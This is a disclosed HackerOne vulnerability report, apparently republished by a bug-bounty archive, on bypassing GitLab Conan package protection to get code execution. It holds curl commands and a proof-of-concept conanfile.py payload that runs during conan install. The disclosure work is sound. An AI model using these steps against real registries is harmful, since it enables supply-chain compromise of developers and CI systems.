Skip to content
Access control Disclosed report Intermediate

Package protection bypass in Conan registry via existing package upload leads to remote code execution

A logic error in GitLab's Conan package registry allowed a Developer to bypass package protection rules by uploading a malicious conanfile.py to an existing protected package. When a victim installed the package, the Python code executed, leading to remote code execution.

GitLab

Originally disclosed on GitLab

  • Fixed in 24 days
  • Disclosed after 24 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3533088 by modhanami on 2026-01-31, imported by @katwu:

Report | Attachments | How To Reproduce

HackerOne Analyst Summary

Summary of the Issue

GitLab's Conan package registry contains a logic error that allows users with Developer access to bypass package protection rules by uploading malicious files to existing protected packages. While protection correctly blocks uploads when creating new packages, the protection check is completely bypassed when uploading to packages that already exist. This enables remote code execution because conanfile.py contains Python code that automatically executes when victims run conan install.

Steps to reproduce

Preconditions:

  • Two GitLab.com accounts: Account A (Maintainer) and Account B (Developer) on the same project
  • Package Registry enabled for the project
  • Conan client version < 2.0 (GitLab's Conan API has compatibility issues with Conan 2.x)
    • Install with: pip install 'conan<2'

Step 1: Create a Conan package (as Maintainer - Account A)

Bash
export VICTIM_TOKEN="<maintainer-token>"
export PROJECT_ID="77451172"

curl -X PUT "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -H "Content-Type: application/octet-stream" \
  -u "modhanami-h1:$VICTIM_TOKEN" \
  --data-binary 'from conans import ConanFile

class ProtectedConan(ConanFile):
    name = "protected-conan"
    version = "1.0.0"
    description = "Legitimate protected package"
'
Screenshot_2026-02-01_at_6.44.31_PM.png
Screenshot_2026-02-01_at_6.44.31_PM.png From the original on GitLab

Step 2: Create a protection rule requiring Maintainer for push (as Maintainer - Account A)

Bash
curl -X POST "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/protection/rules" \
  -H "PRIVATE-TOKEN: $VICTIM_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{
    "package_name_pattern": "protected-conan*",
    "package_type": "conan",
    "minimum_access_level_for_push": "maintainer"
  }'
Screenshot_2026-02-01_at_6.46.55_PM.png
Screenshot_2026-02-01_at_6.46.55_PM.png From the original on GitLab

Step 3: Verify protection works for NEW packages (as Developer - Account B)

Bash
export ATTACKER_TOKEN="<developer-token>"

curl -w "\nHTTP: %{http_code}\n" -X PUT \
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan-NEW/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \
  --data-binary 'malicious'

# Returns: 403 Forbidden - Package protected. (CORRECT)
Screenshot_2026-02-01_at_6.44.41_PM.png
Screenshot_2026-02-01_at_6.44.41_PM.png From the original on GitLab

Step 4: BYPASS - Upload malicious conanfile.py to EXISTING protected package (as Developer - Account B)

Bash
curl -w "\nHTTP: %{http_code}\n" -X PUT \
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \
  -H "Content-Type: application/octet-stream" \
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \
  --data-binary 'from conans import ConanFile
import os
import datetime

class ProtectedConan(ConanFile):
    name = "protected-conan"
    version = "1.0.0"
    
    def configure(self):
        """RCE: This code executes during conan install"""
        proof_file = "/tmp/conan_rce_proof.txt"
        user = os.environ.get("USER", "unknown")
        with open(proof_file, "w") as f:
            f.write("=== CONAN RCE PROOF ===\n")
            f.write("Time: " + str(datetime.datetime.now()) + "\n")
            f.write("Payload: Developer bypassed Maintainer-only protection\n")
            f.write("Executed by: " + user + "\n")
        self.output.warn(">>> RCE PROOF: Wrote to " + proof_file + " <<<")
'

{{media:3}}

# Returns: HTTP 200 (BUG - should be 403!)

Step 5: Victim triggers RCE (as any user who installs the package)

Bash
export VICTIM_USERNAME="modhanami-h1" # Maintainer's GitLab username (could be any member)

# Configure conan remote
conan remote add gitlab-h1 "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan"
conan user $VICTIM_USERNAME -p "$VICTIM_TOKEN" -r gitlab-h1

# Install the package - RCE triggered!
conan install protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable -r gitlab-h1

Step 6: Verify code execution

Bash
cat /tmp/conan_rce_proof.txt

Impact statement

The demonstrated impact shows that attackers can achieve remote code execution on any system that installs the compromised package. In the proof-of-concept, the malicious code successfully executed during package installation, writing a proof file to /tmp/conan_rce_proof.txt and displaying warning messages confirming code execution. This creates a supply chain attack vector where all downstream consumers of the package will automatically execute the attacker's Python code with their system privileges, potentially compromising developer workstations, CI/CD pipelines, and production build systems. Organizations relying on package protection rules to enforce security controls would be completely bypassed, allowing unauthorized developers to inject malicious code into supposedly protected packages.

Original Report

Summary

A logic error in GitLab's Conan package registry allows users with Developer access to bypass package protection rules by uploading malicious files to existing protected Conan packages. While protection correctly blocks uploads when creating new packages, uploading to existing packages bypasses the protection check entirely. This enables remote code execution because conanfile.py contains Python code that executes when victims run conan install.

Steps to reproduce

Preconditions:

  • Two GitLab.com accounts: Account A (Maintainer) and Account B (Developer) on the same project
  • Package Registry enabled for the project
  • Conan client version < 2.0 (GitLab's Conan API has compatibility issues with Conan 2.x)
    • Install with: pip install 'conan<2'

Step 1: Create a Conan package (as Maintainer - Account A)

Bash
export VICTIM_TOKEN="<maintainer-token>"  
export PROJECT_ID="77451172"

curl -X PUT "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -H "Content-Type: application/octet-stream" \  
  -u "modhanami-h1:$VICTIM_TOKEN" \  
  --data-binary 'from conans import ConanFile

class ProtectedConan(ConanFile):  
    name = "protected-conan"  
    version = "1.0.0"  
    description = "Legitimate protected package"  
'

Step 2: Create a protection rule requiring Maintainer for push (as Maintainer - Account A)

Bash
curl -X POST "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/protection/rules" \  
  -H "PRIVATE-TOKEN: $VICTIM_TOKEN" \  
  -H "Content-Type: application/json" \  
  --data '{  
    "package_name_pattern": "protected-conan*",  
    "package_type": "conan",  
    "minimum_access_level_for_push": "maintainer"  
  }'  

Step 3: Verify protection works for NEW packages (as Developer - Account B)

Bash
export ATTACKER_TOKEN="<developer-token>"

curl -w "\nHTTP: %{http_code}\n" -X PUT \  
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan-NEW/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \  
  --data-binary 'malicious'

###  Returns: 403 Forbidden - Package protected. (CORRECT)  

Step 4: BYPASS - Upload malicious conanfile.py to EXISTING protected package (as Developer - Account B)

Bash
curl -w "\nHTTP: %{http_code}\n" -X PUT \  
  "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan/v1/files/protected-conan/1.0.0/modhanami-h1-group+modhanami-h1-project/stable/0/export/conanfile.py" \  
  -H "Content-Type: application/octet-stream" \  
  -u "modhanami-h1-test2:$ATTACKER_TOKEN" \  
  --data-binary 'from conans import ConanFile  
import os  
import datetime

class ProtectedConan(ConanFile):  
    name = "protected-conan"  
    version = "1.0.0"  
      
    def configure(self):  
        """RCE: This code executes during conan install"""  
        proof_file = "/tmp/conan_rce_proof.txt"  
        user = os.environ.get("USER", "unknown")  
        with open(proof_file, "w") as f:  
            f.write("=== CONAN RCE PROOF ===\n")  
            f.write("Time: " + str(datetime.datetime.now()) + "\n")  
            f.write("Payload: Developer bypassed Maintainer-only protection\n")  
            f.write("Executed by: " + user + "\n")  
        self.output.warn(">>> RCE PROOF: Wrote to " + proof_file + " <<<")  
'

###  Returns: HTTP 200 (BUG - should be 403!)  

Step 5: Victim triggers RCE (as any user who installs the package)

Bash
export VICTIM_USERNAME="modhanami-h1" # Maintainer's GitLab username (could be any member)

###  Configure conan remote  
conan remote add gitlab-h1 "https://gitlab.com/api/v4/projects/$PROJECT_ID/packages/conan"  
conan user $VICTIM_USERNAME -p "$VICTIM_TOKEN" -r gitlab-h1

###  Install the package - RCE triggered!  
conan install protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable -r gitlab-h1  
image.png
image.png From the original on GitLab

Step 6: Verify code execution

Bash
cat /tmp/conan_rce_proof.txt  
image.png
image.png From the original on GitLab
Impact

Remote Code Execution: Any user (including CI/CD pipelines) who runs conan install on the compromised package will execute the attacker's Python code with their privileges. The attacker can:

  • Steal credentials and environment variables
  • Modify files on the victim's system
  • Establish persistence or lateral movement
  • Compromise CI/CD pipelines and build servers

Complete bypass of package protection: Organizations using protection rules to enforce separation of duties (e.g., requiring Maintainer approval for production packages) are vulnerable to malicious Developers who can silently inject code into protected packages.

Supply chain attack vector: All downstream consumers of the package are compromised, including:

  • Developer workstations
  • CI/CD pipelines
  • Build servers
  • Production deployments
Examples

Tested on: https://gitlab.com/modhanami-h1-group/modhanami-h1-project

  • Victim (Maintainer): modhanami-h1
  • Attacker (Developer): modhanami-h1-test2
  • Protection Rule ID: 1001274 (protected-conan* requires Maintainer)
  • Package ID: 52418125

Proof of RCE - Output from victim's conan install:

Downloading conanfile.py completed [0.81k]  
protected-conan/1.0.0@modhanami-h1-group+modhanami-h1-project/stable: WARN: >>> RCE PROOF: Wrote to /tmp/conan_rce_proof.txt <<<  

Proof file contents:

=== CONAN RCE PROOF ===  
Time: 2026-01-31 23:54:11.167997  
Payload: Developer bypassed Maintainer-only protection  
Executed by: ...  
This file was created by malicious conanfile.py  
What is the current bug behavior?

When uploading files to an existing Conan package, the protection check is bypassed:

  1. At lib/api/helpers/packages/conan/api_helpers.rb:182-183:

    Ruby
    def find_or_create_package  
      return package if package  # <-- BYPASS: existing package returned WITHOUT protection check!  
      # ... protection only checked below for NEW packages  
    
  2. The upload_package_file method at line 234-248 calls find_or_create_package, but only checks authorize_upload! (write permission), not protection rules.

Result: Developer uploads to existing protected packages succeed with HTTP 200 instead of HTTP 403.

What is the expected correct behavior?
  1. Uploads to protected packages via any path should be blocked with HTTP 403 for users below the required access level.

  2. The protection check should be applied when the package already exists, not just during creation.

  3. Both new and existing packages should enforce the same protection rules.

Relevant logs and/or screenshots
Output of checks

This bug happens on GitLab.com

Root Cause (Code References)
File Line Issue
lib/api/helpers/packages/conan/api_helpers.rb 182-183 Early return bypasses protection for existing packages
lib/api/helpers/packages/conan/api_helpers.rb 234-248 upload_package_file lacks protection check
app/services/packages/conan/create_package_service.rb 7-9 Protection only checked for NEW packages
app/services/packages/conan/create_package_file_service.rb all No protection check

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The protection check was only performed when creating a new package, not when uploading files to an existing package, due to an early return in find_or_create_package.

Impact

An attacker with Developer access could execute arbitrary code on any system that installs the compromised package, potentially compromising developer workstations, CI/CD pipelines, and production build systems.

What the attacker needed

Two accounts: Maintainer and Developer; Package Registry enabled; Conan client version < 2.0; Victim runs conan install

How it was found

  1. As a Maintainer, create a Conan package by uploading a conanfile.py.
  2. As a Maintainer, create a protection rule requiring Maintainer access for pushes matching the package name pattern.
  3. As a Developer, attempt to upload a file to a new package with a similar name; the server returns 403 Forbidden.
  4. As a Developer, upload a malicious conanfile.py to the existing protected package; the server returns 200 OK instead of 403.
  5. As a victim, configure the Conan remote and run conan install on the package, which executes the malicious code.
  6. Verify code execution by checking the proof file created by the malicious script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Package protection rules are meant to stop low-privilege users from changing important packages. Here, the check only happened when creating a new package, not when adding files to an existing one. So a Developer could replace a protected package's install script with their own code, which then ran on anyone's computer that installed it.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.